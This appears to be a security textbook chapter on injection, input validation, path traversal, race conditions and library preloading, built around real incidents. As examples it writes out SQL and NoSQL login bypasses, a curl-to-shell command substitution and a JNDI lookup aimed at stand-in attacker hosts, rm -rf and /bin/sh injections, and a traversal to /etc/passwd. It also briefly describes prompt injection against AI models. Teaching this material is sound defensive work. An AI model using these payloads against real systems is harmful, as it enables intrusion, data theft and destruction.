Zimbra Collaboration Suite is mail and calendar server software that universities, companies, and government agencies run on their own machines. On August 13, 2026, a flaw in it was disclosed that let anyone on the Internet run commands on an affected server without logging in. The attack began with a request to the server’s mail port. Shell metacharacters in that request were carried into the server’s health-monitoring component, and when a service changed state, that component placed the attacker’s text into a shell command that sends an alert over SNMP, the protocol that network-management systems use to collect alerts. The shell ran the alert command and everything the attacker had embedded in it.

The fix had shipped on July 20. Microsoft Threat Intelligence observed attackers probing for the flaw between July 28 and August 7, after the patched version was available and before the flaw was public. The timing suggests that the attackers found the bug by comparing the patched release with the one before it. Only servers with an optional monitoring package and SNMP notifications enabled were exposed.

The injected commands ran as zimbra, the account the mail service runs under, rather than as root. That was not enough to contain the damage. The attackers abused helper programs that the account was permitted to run as root through sudo, planted a symbolic link at the location of the file that controls how sudo authenticates users, and ended with a rule that let the account run any command as root without a password. They then used an SSH key that the cluster’s mail servers shared to log in to the other servers, installed web shells, archived mailboxes, and ran cryptocurrency miners. Several of the intrusions used nothing but an interactive shell, so tools that search for known malware had nothing to find.

The sequence contains three separate failures:

1. Text that arrived at a mail port was interpreted as a shell command by a different component, long after it arrived.

2. A symbolic link turned an account with limited rights into root, because a privileged program used a file name that the attacker controlled.

3. A service that did not run as root still held far more authority than handling mail required.

We begin with injection: data that reaches an interpreter and is executed as instructions. Input validation comes next, since its rules apply to every case. After that come names that resolve to something the program never checked: file paths, the moment between checking a file and using it, the commands and libraries a program finds by searching, and packages fetched by name. Limiting what a compromised program can do is the subject of containment, which comes after.

Injection

Many programs build instructions for another program out of text. A web application builds a database query, a server builds a shell command to compress a file, and a monitoring script builds the command that sends an alert. Each time, the program combines text it wrote with text that came from somewhere else and hands the result to software that parses it and acts on it.

Interpreters

An interpreter is any component that parses text into actions. The familiar ones are a database engine reading SQL and a shell reading a command line. Expression languages in web frameworks, template engines that fill in web pages, and some logging libraries are interpreters too, although programmers who use them do not always know it.

Injection occurs when input from outside a program reaches an interpreter as part of a command, and the interpreter reads some of that input as instructions rather than as data. Three conditions produce it:

1. There is an interpreter.

2. Some input comes from a source the program does not control.

3. The program builds the command by pasting that input into a string.

Remove any one of the three and the attack disappears. Most of the defenses described below remove the third.

The root cause is the one shared by every member of this family: the program does not cleanly separate data from instructions. A string is a string to the program that builds it. Only the interpreter knows which characters in it are quotes, separators, or operators, and the interpreter has no way to tell which characters the programmer wrote and which ones the attacker supplied.

Command Injection and Memory Corruption

Memory corruption attacks give an attacker control by writing past the end of a buffer or reusing freed memory, so that the processor eventually executes instructions the attacker chose. Command injection reaches a similar result without any memory bug at all.

The attacker never runs machine code directly. The program’s own interpreter runs a command the attacker wrote, using the program’s privileges. The program works exactly as written, and the defenses that make memory corruption hard to exploit, such as stack canaries and non-executable memory, do nothing to stop it.

SQL Injection

SQL injection was described publicly in December 1998, in an article in Phrack, a long-running hacker magazine, and it is still found in commercial products. In May 2023, the Cl0p extortion group exploited an SQL injection flaw in MOVEit Transfer, a file-transfer product sold by Progress Software, and stole files from the servers of organizations that used it to exchange documents with customers and partners. Emsisoft, a security company that tracked the victims, counted 2,773 affected organizations and about 96 million affected people.

How SQL Injection Works

A program that checks a login against a database table might build its query with sprintf:

sprintf(buf,
    "SELECT * FROM logininfo WHERE username = '%s' AND password = '%s';",
    uname, passwd);

The program inserts the user-supplied name and password between single quotes. If the query returns a row, the user is authenticated. For the inputs paul and secret, the database receives exactly the query the programmer had in mind.

Now suppose the password is the following string:

' OR 1=1 --

The resulting query is:

SELECT * FROM logininfo WHERE username = 'paul' AND password = '' OR 1=1 --';

The first quote in the input closes the string that the programmer opened. The text after it is no longer data. It is SQL. The -- starts a comment, so the database ignores the programmer’s closing quote and semicolon. Since AND binds more tightly than OR, the condition reads as (username = 'paul' AND password = '') OR 1=1, and 1=1 is true for every row. The query returns rows, and the attacker is logged in without knowing the password.

What an Attacker Can Do

Bypassing a login is the least of it. Input that can close a string can append any SQL the database accepts:

• A statement separator followed by a second statement, such as '; DROP TABLE users; --, can delete or modify data, where the database interface allows more than one statement per call.

• A UNION clause can append the results of a second query to the first, so a page that displays search results can be made to display rows from a different table, such as the table of user accounts.

• Database-specific functions can read and write files on the server, and some databases can run operating system commands.

An application does not have to display query results for the attacker to extract data. In blind SQL injection, the attacker learns one fact per request from how the application behaves. For example, input that makes the condition true when the first character of the administrator’s password hash is a might produce a normal page, while a false condition produces an error page. Another variant asks the database to pause for five seconds when a condition is true and measures the response time. Each request reveals about one bit, and a script can send thousands of requests.

Why SQL Injection Persists

Building a query by concatenating strings is the first approach most programmers write, and it works correctly on every input the programmer tested. The failure only appears when the input contains SQL syntax, which ordinary test data never does.

The obvious repairs are harder than they look. Escaping special characters requires knowing every character the database treats specially, and the rules differ between databases. Rejecting quotes and semicolons breaks legitimate input, since names such as O’Brien contain apostrophes, and attackers find encodings that slip past filters. Neither repair changes the underlying construction, which still mixes data and instructions in one string.

A second recent example shows how ordinary the bug remains. In June 2024, Fortra, a software company, disclosed that its FileCatalyst Workflow file-transfer product inserted a jobID value from a web request directly into the WHERE clause of a query. On servers that allowed anonymous access, the page was reachable without logging in.

Second-Order Injection

A query can be built safely when data is stored and unsafely when the same data is used later. This is second-order injection.

Suppose a site stores a new user’s display name with a query that treats it correctly as data. An attacker registers with the display name x', role='admin' --. The name is stored exactly as typed. Later, a page that lets users edit their profiles builds an update by pasting the stored name into a string:

UPDATE users SET display_name = 'x', role='admin' --' WHERE username = 'mallory';

The stored quote closes the string, the attacker’s text sets a second column, and the comment removes the WHERE clause. Every row in the table now has the administrator role.

The program that stored the name did nothing wrong. The program that used it assumed that anything already in its own database was safe. The lesson is that safety is a property of each use of the data, not of the moment the data arrived. The Zimbra flaw is the same failure in a shell: the input was accepted by the mail service and became dangerous only when a different component used it to build a command.

Defenses Against SQL Injection

The defenses against SQL injection fall into an order of preference. The first removes the vulnerability by construction, and the others reduce the damage when the first cannot be applied.

Parameterized Queries

A parameterized query (also called a prepared statement) sends the structure of the query to the database separately from the data values. The query contains placeholders where values belong:

cursor.execute(
    "SELECT * FROM logininfo WHERE username = ? AND password = ?",
    (uname, passwd))

The database parses the query text, with its placeholders, before it sees any user input. The values arrive afterward and are bound to the placeholders as values. Since parsing is already finished, there is not a step at which a quote in the password could be read as the end of a string. A password of ' OR 1=1 -- is compared against the stored password as eleven characters, and the login fails.

Every major database interface supports parameterized queries, in every language commonly used with databases. They are the defense to use whenever user input appears in a query.

Stored Procedures

A stored procedure is a function defined inside the database. The application calls it by name and passes arguments:

CREATE PROCEDURE CheckLogin(@username VARCHAR(50), @password VARCHAR(50))
AS
BEGIN
    SELECT * FROM users WHERE username = @username AND password = @password;
END

The query inside the procedure is fixed, and the arguments are values, so calling it gives the same protection as a parameterized query. The protection disappears if the procedure itself builds a query string from its arguments and executes it, which some procedures do in order to support optional search fields or sort orders. That procedure is injectable for the same reason the application code was.

Allowlists for Parts That Cannot Be Parameters

Placeholders stand for values. They cannot stand for a table name, a column name, or the direction of a sort, because those are part of the query’s structure. An application that lets a user choose which column to sort by has to place the column name in the query text.

The safe construction is an allowlist. The application keeps the set of column names it permits, checks the user’s choice against that set, and uses its own copy of the name rather than the user’s string.

Escaping as a Last Resort

Escaping inserts characters that tell the database to treat the next character literally. In standard SQL, a single quote inside a string is written as two single quotes, so a naive escaping function replaces every ' with ''.

Escaping is a last resort because it depends on getting every rule right for one specific database. The rules differ between databases, as described in the next section. Character encodings add another hazard. In some multibyte character sets, a byte sequence that the escaping function treats as an ordinary character followed by a quote is read by the database as a single two-byte character, which swallows the escape and leaves the quote active. Library escaping functions are better than hand-written ones, but parameterized queries make the question unnecessary.

The Principle of Least Privilege for the Database Account

An application connects to its database as some account, and an injected query runs with that account’s rights. An account that can only read and update the tables the application uses cannot drop other tables, read the payroll database on the same server, or run operating system commands. This does not prevent injection, but it limits what an injected query can do.

Differences Among Query Languages

An injection payload is written for one interpreter. Syntax, special characters, and the operations available differ from one database to another, so a filter or escaping function written for one database can be wrong for another. Attackers often begin by working out which database is behind an application, using error messages or functions that exist in only one product.

Differences Among SQL Databases

SQL is standardized, but every database extends the standard and departs from it in small ways. The differences in the table below are all visible in the login example:

The last row is why the privileges of the database account are part of the defense. Injection into a database that can start programs is command injection on the database server.

Document Databases

Not every database uses SQL. MongoDB, a widely used document database, stores records as JSON-like documents and accepts queries as structured objects rather than as strings. A Node.js login check might look like this:

db.users.findOne({
    username: req.body.username,
    password: req.body.password
});

There is not a quote to break out of, because the query is never built as text. The injection works differently. It changes the type of the input.

The programmer expects req.body.password to be a string. If the application accepts a JSON request body and passes the parsed values straight into the query, an attacker can send an object instead:

{ "username": "admin", "password": { "$ne": null } }

In MongoDB’s query language, a key beginning with $ is an operator, and $ne means “not equal to.” The query now asks for the administrator’s record if the password is not equal to null, which is true for any account that has a password. The attacker logs in without knowing it. The special characters are different from SQL’s, but the failure is the same. Input that the programmer treated as a value is read by the database as part of the query.

Other operators allow blind extraction. The $regex operator matches a regular expression, so a password of {"$regex": "^a"} matches only if the stored password begins with a. An attacker who tries each possible first character, watches which login succeeds, and then repeats with two characters recovers the password one character at a time. (Real systems should store password hashes rather than passwords, but the same technique extracts any field the application compares.)

Some document databases accept JavaScript inside a query, through operators such as MongoDB’s $where. Input that reaches one of those operators can run code inside the database.

The defenses specific to this case check types. A value that is supposed to be a string should be verified to be a string, or explicitly converted to one with String(), before it reaches the query. A schema that declares the type of every field rejects objects where strings belong. User input should never reach $where. Allowlists and a database account with limited rights apply here as they do for SQL.

Shell Command Injection

A shell is a small programming language for starting programs, connecting their input and output, and deciding what to run next. A program that hands a string to a shell hands over that whole language, and an attacker who controls part of the string can write in it.

On Unix-like systems, C’s system() and popen() pass their string to sh -c. Python’s os.system() and os.popen() do the same, and so does subprocess when it is called with shell=True. Each looks like a way to run one program with some arguments, but each runs a shell script, and the attacker may have written part of it.

How Shell Injection Works

Suppose a service sends a mail alert to an address it was given:

snprintf(command, sizeof command,
         "/usr/bin/mail -s alert %s", recipient);
FILE *stream = popen(command, "w");

The programmer intended recipient to be one address. If the value is nobody; rm -rf /home/*, the shell receives two commands separated by a semicolon and runs both, with the service’s privileges. The snprintf() call respected its buffer size, so there is no memory corruption anywhere. The program did exactly what it was written to do.

The semicolon is one of many characters the shell treats as syntax:

A filter that removes semicolons leaves every other row of the table available. Quoting does not help as much as it appears to. Double quotes preserve spaces but still allow command substitution, so "$(...)" inside a double-quoted string runs the command.

Command substitution is the most dangerous row. An input containing $(curl https://example.invalid/payload.sh | sh) instructs the shell to download a script and run it, and the shell evaluates the substitution before it starts the command the programmer intended. The attacker’s code has already run by the time mail starts.

FortiSIEM, February 2024

Fortinet, a network-security vendor, sells FortiSIEM, a product that collects and analyzes security logs from an organization’s systems. In February 2024, researchers at Horizon3.ai, a security company, disclosed a command injection flaw in it. A value supplied over the network, naming a location where storage should be mounted, reached a Python script that built an os.system() command from it. The script ran as root, so the injected commands did too.

It was the second such flaw in the same component within a few months. Fortinet had fixed a command injection in October 2023 by sanitizing one field. The researchers found that a different field reached the same shell construction, and the fix had treated the symptom rather than the construction. The lesson is the one from second-order SQL injection: as long as the program builds a command string from data, each path that feeds the string is a separate vulnerability.

Defense 1: Do Not Invoke a Shell

The first defense removes the interpreter. When the operation can be performed through a library call, such as copying a file or sending mail through a mail library, there is no command to inject into. When an external program has to run, it should be started directly rather than through a shell.

On POSIX systems, fork() creates the child process and execve() replaces it with the program, given as a path, an argument vector, and an environment. Each element of the argument vector arrives in the program as one argument, whatever characters it contains. A semicolon in an argument is a semicolon. In Python, subprocess.run() with a list does the same:

import subprocess

result = subprocess.run(
    ["/usr/bin/grep", "-F", "--", search_text, "/srv/app/events.log"],
    capture_output=True,
    text=True,
    timeout=5,
)

The program path is fixed, and search_text reaches grep as a single argument no matter what it contains. The other two choices in that command line address two other interpreters. The -F flag tells grep to treat the text as a literal string rather than as a regular expression, and -- tells it to treat everything after that point as a file name. The timeout limits how long the child may run.

The Remaining Hazard: Argument Injection

Removing the shell removes one parser. The program being run has a parser of its own, for its command line, and a value that begins with - may be read as an option rather than as data. This is argument injection. Most Unix utilities accept -- to mark the end of options. Where a program does not, the application can reject values that begin with -, or it can prefix a file name with ./ so that it cannot be mistaken for an option.

In December 2016, a flaw was disclosed in PHPMailer, a PHP library used by millions of web sites to send mail. The library passed the sender’s address to the system’s mail program as a command-line argument. An address containing spaces and a leading - added options to that command, and one of the mail program’s options names a log file. The attacker chose a log file inside the web server’s document directory and put PHP code in the message, and the mail program wrote the attacker’s PHP page to disk. Requesting the page ran it. The library had escaped shell metacharacters correctly. It had not prevented the value from being read as several arguments by the program that received them.

Defense 2: If a Shell Is Unavoidable

Some programs need the shell, for a pipeline or for redirection. In that case the command structure should be fixed, every value should be validated against what it is supposed to be, and every value should be quoted with a function written for that shell. Python’s shlex.quote() produces a token that a Unix shell reads as one word. It does not quote for the Windows command interpreter, whose rules are different, and it does not stop the program inside the shell command from interpreting the value as an option.

Quoting is the secondary defense because it depends on predicting the parser. Shells differ in their rules, and the shell is only the first of several programs that will parse the arguments.

Defense 3: Apply the Principle of Least Privilege

The injected commands in the Zimbra servers ran as the zimbra account, and the ones in FortiSIEM ran as root. The difference is what the attacker holds after the injection succeeds. A program that runs with the least privilege its job requires limits what any command injected into it can do. This is the defense that does not depend on finding the bug. It is also the one that failed at Zimbra, where the account held far more than mail handling required. Containment, which follows input handling, is how that limit is enforced from outside the program.

The Limit of Defense 1: Windows Command Lines

An argument vector is only as safe as the platform’s way of delivering it. On Windows, a process receives its command line as a single string, and each program splits that string into arguments itself. A language runtime that offers an argument-list interface on Windows has to assemble that string and quote each argument so that the program will split it back the same way.

In April 2024, a security researcher showed that the argument-list interfaces in Rust, Node.js, PHP, and several other languages assembled that string incorrectly when the program being started was a Windows batch file. A batch file runs under cmd.exe, which has quoting rules of its own, and arguments that were safe for an ordinary program were injectable through it. Code that used the safe interface was vulnerable anyway. The flaw was nicknamed BatBadBut, and the fixes added escaping for cmd.exe and refused arguments that could not be represented safely.

Command Execution Across Languages

Every common language has a call that starts a shell and a call that does not. The table lists both:

The direct forms still require that the program path be fixed and the arguments be validated. Each language also has a weakness of its own.

C. system() and popen() always use a shell. execlp() and execvp() avoid the shell but search PATH for the program, which hands the choice of program to whoever controls the environment, a subject taken up below. execve() with a full path avoids both.

Python. subprocess does not use a shell unless asked to, but os.system() and os.popen() always do. A different interpreter hides in data formats. Loading untrusted data with pickle, or with a YAML loader other than the safe one, can run code, because those formats can describe objects to construct. json.loads() and ast.literal_eval() accept only data.

Node.js. exec() uses a shell; execFile() and spawn() do not unless given shell: true. The vm module looks like a way to run untrusted JavaScript in isolation, and its documentation says that it is not a security mechanism. Code in a vm context can escape it.

Java. Runtime.exec(String) splits the string at whitespace and does not use a shell, so shell metacharacters have no effect on Unix. Programmers who want a pipe or redirection wrap the command in sh -c or cmd /c, and that brings the shell back: an array of the form {"cmd.exe", "/c", "dir", userDir} still hands userDir to an interpreter. Separately, reading untrusted serialized Java objects can run code through classes already on the application’s class path, without a command string anywhere.

PHP. escapeshellcmd() escapes metacharacters across a whole command string but still allows the input to supply additional arguments. escapeshellarg() quotes one argument. Confusing the two is how the PHPMailer flaw worked. In June 2024, a researcher at DEVCORE, a Taiwanese security company, disclosed that PHP running as a CGI program on Windows checked a request for a leading hyphen before Windows converted its characters between encodings. In some locales, a soft hyphen became an ordinary hyphen after the check, and the request could pass options to the PHP interpreter and run code. Imperva, a security company, observed ransomware exploiting it two days after the disclosure. This is the decode-before-validating rule from the section on validating input, applied to a command line.

Perl and Ruby. Perl’s two-argument open() runs a command when the file name begins or ends with |, and Ruby’s Kernel#open does the same for a leading |. A file name supplied by a user becomes a command. Three-argument open() in Perl and File.open in Ruby open files and only files.

Shell scripts. An unquoted variable is split into words, and each word is expanded as a wildcard. The directory a script runs in is also input. GNU tar has an option that runs a command of the user’s choosing at intervals while it works. If a script runs tar cf backup.tar * in a directory where an attacker can create files, a file named --checkpoint-action=exec=sh evil.sh is expanded by the wildcard into an argument, tar reads the argument as that option, and the attacker’s script runs. Quoting variables, writing -- before file names, and writing ./* instead of * prevent all three forms of this.

Interpreters Hidden in Libraries

The program’s own source may contain no shell command and no SQL query, and the program may still hand a string to an interpreter, because a library it uses contains one. The library’s behavior becomes part of the program’s attack surface whether or not the programmer knows it is there.

Evaluating Expressions

The simplest hidden interpreter is the one the language provides. A calculator that needs to add two numbers might build an expression and evaluate it:

result = eval(left + "+" + right)

For the inputs 12 and 30, the result is 42. Python’s expression language also includes function calls and imports, so the input __import__('os').system('/bin/sh') starts a shell, with the privileges of the program. JavaScript’s eval() and its Function() constructor accept the same kind of input, and Python’s exec() accepts whole programs.

The fix is to parse rather than evaluate:

result = int(left) + int(right)

Input that is supposed to be a number is converted to a number, and input that is supposed to be a data structure is read with a data parser, such as json.loads() in Python or JSON.parse() in JavaScript. A data parser cannot run anything. An application that needs to evaluate arithmetic typed by a user needs a small expression parser of its own, with a grammar that contains only arithmetic. Removing a few dangerous names from a general-purpose language does not produce one.

Log4j, December 2021

Log4j is a Java logging library maintained by the Apache Software Foundation, and it is used by a large fraction of the Java software in existence. On December 9, 2021, a flaw in it became public. The library expanded lookup expressions of the form ${...} inside the strings it logged, and one of the available lookups used JNDI, the Java Naming and Directory Interface, which fetches objects from a directory server by name.

A logged string containing ${jndi:ldap://attacker.example/x} made the server contact the attacker’s directory server, and the response could direct the Java runtime to load and run a class from an address the attacker supplied. Any string that reached a log statement was an attack vector: a browser’s User-Agent header, a username on a login form, or a chat message typed into a game. The flaw became known as Log4Shell.

Two things made it severe. Logging looks passive, so programmers logged whatever arrived without treating it as input to an interpreter. And Log4j arrived in most applications as a dependency of a dependency, so many organizations did not know they ran it and spent the first days of the response finding out.

The fix took three releases. Version 2.15.0, on December 10, restricted JNDI lookups but left openings in some configurations. Version 2.16.0, on December 13, removed message lookups and disabled JNDI by default. Version 2.17.0, on December 17, fixed a denial of service through recursive lookups. Apache’s security page has the sequence.

Allowlists and Denylists

The filters written during the Log4Shell response show the difference between two ways of validating input. Administrators who could not patch immediately configured their firewalls to drop any request containing the string ${jndi. Within a day, attackers were writing the same lookup as ${${lower:j}ndi:...}, in which the inner lookup produces the letter j when the library evaluates it. The forbidden string never appeared in the request. It existed only after the interpreter had run.

The firewall rule was a denylist: it named what was forbidden and permitted everything else. The same approach applied to a database query looks like this:

if "'" in value or ";" in value:
    raise ValueError("Rejected characters")

This rejects O’Brien and permits most attacks. A numeric field needs no quote, since 1 OR 1=1 is injected without one. Other databases have other comment markers and other operators. Every denylist is a prediction about what the attacker will write, the attacker reads the same documentation, and an interpreter can construct the string the filter is looking for.

An allowlist defines what is permitted and rejects everything else. A small set of operation names is checked by membership. An identifier is checked against a grammar:

import re

if re.fullmatch(r"[a-z][a-z0-9_-]{2,31}", project_id) is None:
    raise ValueError("Invalid project identifier")

The rule is specific to what a project identifier is in this application. The same rule applied to a password or to a person’s name would reject legitimate input. The fullmatch() call requires the whole string to match, so that a valid prefix followed by anything else is rejected.

Prompt Injection

We will cover AI security issues in detail later. A language model receives its instructions and its data in the same form, as text. Prompt injection places instructions in text that the model was given as data, such as a web page it retrieved or an email it was asked to summarize, and the model follows them as if they came from its user. Natural language does not have escape characters or parameters that separate data from instructions, so the defenses that work for SQL and shells do not exist here. The defenses are outside the model: limiting the tools it is permitted to call, and requiring confirmation before any action with consequences, such as sending a message or making a payment.

Validating and Sanitizing Input

The sections before and after this one apply a small set of rules about input, and the rules are the same whether the interpreter is a database, a shell, a logging library, or a filesystem. Three different operations get confused with each other:

• Validation accepts or rejects a value according to a rule. A field may have to be an integer between 1 and 100, one of four operation names, or a string with a fixed length and character set.

• Sanitization transforms a value, by escaping or removing characters, so that an interpreter will read it as data.

• Structural separation supplies the data through a channel that the interpreter never parses, such as a query parameter or an argument vector.

Separation is preferred because it does not depend on predicting what the interpreter will do with any particular character. Validation is still needed after it, since a parameter binding prevents a payment amount from altering the SQL but does not prevent it from being negative.

Decoding, Canonicalization, and Context

Input often arrives encoded, and a check on one representation is useless if a later component decodes it into another. A URL decoder turns %2f into /. A filesystem turns ./a/../b into b and follows symbolic links. A character-set conversion turns an unfamiliar character into ordinary punctuation, as the PHP flaw above showed. Canonicalization converts every equivalent representation into one chosen form.

The rule is to decode and canonicalize first, then validate, and then never decode again. A system that validates and then decodes is checking a string the interpreter will never see. The protocol has to say which encodings are allowed and how many decoding stages exist, and anything malformed or ambiguous should be rejected rather than repaired.

Sanitization has to match the context of use. The special characters of SQL, of a shell, of HTML, and of a file path are different sets, and a value that is safe in one of them is not safe in the others. One sanitizer applied at the entrance to a program is wrong for most of the places the data will go.

That is also why validating input at the entry points of a program and treating everything inside as safe does not work. Second-order SQL injection stored a safe value and used it unsafely later. The Zimbra flaw accepted a value at the mail port and used it unsafely in a monitoring component. Safety is a property of each use of the data, and the check belongs at the use.

Two other habits do not help. Checks in the browser improve the form’s error messages but do not enforce anything, since an attacker sends HTTP requests without the form. Length limits bound storage and processing, but a short input holds a complete injection.

Path Traversal and Path Equivalence

A web server maps the path in a URL onto a file under its document root. A request for reports/march.pdf is appended to /srv/www/ and the file is served. The programmer assumes that every path built this way names a file under /srv/www, and the filesystem has its own rules for what a path means.

The component .. names the parent directory, so a request for ../../etc/passwd produces the path /srv/www/../../etc/passwd, which resolves to /etc/passwd. This is path traversal. The .. can appear anywhere in the path, so a check that looks only at its beginning misses images/../../../etc/passwd.

Searching for .. everywhere fails in the other direction. File names may legitimately contain two dots, as in draft..txt. A .. that stays inside the tree, as in docs/../index.html, is harmless. And the attacker can encode the characters so that the check does not see them, since %2e%2e%2f is ../ to a decoder that runs after the check. The property to enforce is where resolution ends, not which characters the string contains.

Path Equivalence

Many strings name one file. A path may contain . components or doubled separators. A case-insensitive filesystem treats Report.pdf and report.pdf as the same file. Some filesystems normalize Unicode, so two different byte sequences name one file, and others preserve the distinction. A symbolic link makes a path under one directory resolve into a different directory entirely, and a hard link gives one file two names. This is path equivalence, and it is the reason that comparing two names is harder than it looks.

A symbolic link is the common surprise. If /srv/www/public is a link to /data/shared, then a path that begins with /srv/www/ and passes every textual check resolves to a file outside the tree. The visible prefix does not show where the path ends.

Defenses

The textual defense is to canonicalize the path and then check it. On POSIX systems, realpath() resolves ., .., and symbolic links and returns the path the kernel would open. The check on the result has to respect directory boundaries, since /srv/www-private/secret begins with the string /srv/www without being inside it. The comparison is against the root directory followed by a separator.

Canonicalizing and then opening leaves a window in which an attacker who can change links or directories alters what the name refers to, which is the subject of the next section. The stronger defense is to have the kernel enforce the restriction during resolution itself. Linux’s openat2() call, added in 2020, resolves a relative path starting from an already opened directory and can be told to fail if resolution would leave that directory, follow a symbolic link, or cross a mount point. The older openat() call starts from a directory descriptor but places no limit on where .. leads.

Better than either is to not accept a path at all. An application that serves document 42 in response to document_id=42 looks up the file name in its own table, so the request contains no path syntax. The application still has to decide whether this user may read document 42.

Finally, the process that serves files should run with permissions that limit what a successful traversal reaches. A server that cannot read /etc/shadow cannot disclose it through any path.

PAN-OS GlobalProtect, April 2024

Palo Alto Networks makes network-security appliances, and GlobalProtect is the VPN gateway on them. In April 2024, a flaw was disclosed that joined path traversal to shell injection. The gateway used the value of a session cookie as part of a file name without checking it, so a cookie containing ../ created an empty file in any directory the attacker chose. On its own that was a nuisance. But a scheduled script on the device built a shell command that included the names of the files in one of those directories. An attacker who created a file whose name contained shell syntax had that syntax run as root a few minutes later.

The first component read the input as a path. The second read part of that path as a command. A file name that the filesystem accepts can still be dangerous to a program that pastes it into a string.

11000000 10101111
   00000   101111  ->  47  ->  /

Time-of-Check to Time-of-Use (TOCTOU)

A check and a use are two separate operations on a name, and the binding between a name and the object it refers to can change between them. A setuid program that calls access() to check whether its caller may read a file and then calls open() to read it checks one file and may open another, if the name was rebound in between. This is a time-of-check to time-of-use (TOCTOU) race condition, and it generalizes well beyond access().

The attacker usually controls the binding through a symbolic link or a directory entry, and the window can be widened by making the privileged program slow. The same race condition appears in sandboxes, when a monitor checks a system call’s arguments in a process’s memory and the kernel then reads that memory again. We return to it with containment.

Race Conditions With Temporary Files

Temporary files are the classic case. A program that generates a temporary file name and then creates the file has performed a check (the name was unused) and a use (create the file) as two operations, and an attacker can act between them. If the name is predictable, which the older name-generating functions made easy, the attacker creates the file first, or creates a symbolic link under that name pointing at a file the program should not touch.

What the attacker gains depends on what the program does next. A privileged program that follows the link and writes overwrites the target, which may be /etc/passwd. A program that writes secrets into a file the attacker created, and can read, leaks them. A program that appends to the file inherits whatever the attacker put at its beginning.

The defense is a call that checks and creates in one step:

char path[] = "/tmp/report.XXXXXX";
int fd = mkstemp(path);
if (fd == -1) {
    /* Handle failure. */
}
/* Continue using fd, rather than reopening path. */

mkstemp() chooses an unpredictable name, creates the file exclusively, and returns an open descriptor. open() with the flags O_CREAT | O_EXCL does the same for a name the program chooses: it creates the file if the name is unused and fails if it exists, as one operation inside the kernel. The older functions tmpnam(), tempnam(), and mktemp() return a name and leave the creation to the caller, which is the race condition. Windows’ GetTempFileName() creates the file when called with a zero uniqueness argument and only generates a name otherwise, and CreateFile() with CREATE_NEW is the exclusive-creation call.

Defenses

The temporary file fix is one instance of a general rule: operate on the object, not on the name. Once a file is open, the descriptor refers to that file regardless of what happens to its name, so a program should open once and perform every later operation through the descriptor. fstat() on a descriptor examines the opened file, while stat() on a path resolves the name again and may describe a different one.

The second rule is to attempt the operation and handle failure rather than checking first. A setuid program that calls access() wants the kernel to apply the caller’s permissions rather than root’s. It can get that without the race condition by switching its effective user ID to the caller’s before calling open(), so the kernel makes the check during the open itself. A check that is separate from the operation can be raced. A check that is part of the operation cannot.

Third, refuse to follow links where a link is not expected. The O_NOFOLLOW flag makes open() fail if the final component of the path is a symbolic link. It does not protect against links in the parent directories, which is what openat2(), described under path traversal, adds.

Locking helps only when every party that could change the resource obeys the lock. An advisory file lock does not stop an attacker from replacing a directory entry. For a multi-step decision over shared application state, such as checking an account balance and then debiting it, a database transaction makes the check and the use atomic with respect to other writers.

The Print Spooler

The textbook version of the race condition is from the Unix print spooler, lpr, which ran setuid root because the spool directory was protected. It needed to copy a file that the user named into that directory, and it needed to make sure the user was allowed to read that file. The original design checked, then copied:

1. The user runs lpr on a symbolic link that points to a file the user may read.

2. lpr checks that the user may read the file the link points to.

3. The user replaces the link with one that points to /etc/shadow.

4. lpr, running as root, opens the name again, follows the new link, and copies the password hashes into the spool directory, where the user can read them.

The file copied in step 4 is not the file checked in step 2. The clean fix is privilege separation: a process running with the user’s own permissions opens the file, so the kernel does the check, and passes the open descriptor to the small privileged part that writes into the spool.

The Zimbra Symbolic Link

The second failure in the Zimbra servers was this one. A helper program that the zimbra account was permitted to run as root wrote to a log file by name. The attackers replaced the log file with a symbolic link to the file that controls how sudo authenticates users, and the helper wrote through the link. The attackers then had a sudo configuration of their own writing and could run anything as root. There was no timing window to hit, since the link was in place before the helper ran, but the failure is the same one: a privileged program used a name, and the attacker controlled what the name referred to.

Environment, Search Paths, and Shared Libraries

A program starts with more input than its arguments. It inherits environment variables, open file descriptors, a working directory, and a file-creation mask from whatever started it. For a setuid program, or a service started by a script, whatever started it may be the attacker, and each inherited item decides something about which code the program runs and which files it touches.

Search Paths

A search path is an ordered list of directories in which a name is looked up. When a script runs ls, the shell searches the directories in PATH in order and runs the first ls it finds. An attacker who controls an earlier directory in the path, or who can set PATH itself, supplies a counterfeit ls. The counterfeit does its work and then runs the real ls, so the output is what the script expected and nobody notices.

Shells also read startup scripts named by environment variables. Bash runs the file named by BASH_ENV when it starts non-interactively, which is how scripts run, and other shells read ENV under their own rules. A privileged script that inherits either variable runs the attacker’s file before its own first line.

The defenses are to use absolute paths for every program a privileged script runs and to construct the environment explicitly. A service should build a small environment containing the variables it needs rather than delete a few suspicious variables from the large one it inherited, since the list of dangerous variables is long and changes. It should also set its working directory and its umask itself rather than inherit them, so that the files it creates do not get whatever permissions the caller’s mask allowed.

Shared Libraries and Function Interposition

A dynamically linked program gets much of its code from shared libraries at the moment it starts, and the dynamic loader decides which libraries those are. On Linux, LD_LIBRARY_PATH adds directories to the loader’s search, and LD_PRELOAD names libraries to load before all others. When two libraries define the same function, the loader resolves the name to the first definition it loaded. Preloading a library therefore replaces any function in the program.

This is function interposition, and it has legitimate uses in debugging, profiling, testing, and compatibility shims. The same mechanism, in an attacker’s hands, changes the behavior of a program without touching the program.

The demonstration takes two files. The first is a program that prints random numbers:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void) {
    srand((unsigned)time(NULL));
    for (int i = 0; i < 5; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

The second, fake_rand.c, is a replacement for one function:

int rand(void) {
    return 42;
}

Compiling the replacement as a shared library and preloading it changes what the program prints:

cc random_demo.c -o random_demo
cc -shared -fPIC fake_rand.c -o fake_rand.so
LD_PRELOAD="$PWD/fake_rand.so" ./random_demo

Every call to rand() now returns 42, and the executable was never modified. The example uses rand() because the effect is visible. A program whose security depends on random numbers should get them from the operating system’s cryptographic source rather than from a time-seeded generator.

Replacing a Time Source

A replacement does not have to target the function whose output is wrong. Suppose a Python program seeds its random number generator from the clock:

import random
import time

random.seed(time.time_ns())
print([random.randrange(100) for _ in range(5)])

Python reads the clock through the C library’s clock_gettime(). A preloaded replacement for that function, in fixed_time.c, returns the same time on every call:

#include <time.h>

int clock_gettime(clockid_t clock_id, struct timespec *value) {
    (void)clock_id;
    value->tv_sec = 870708;
    value->tv_nsec = 592903659;
    return 0;
}

cc -shared -fPIC fixed_time.c -o fixed_time.so
LD_PRELOAD="$PWD/fixed_time.so" python3 seeded_random.py

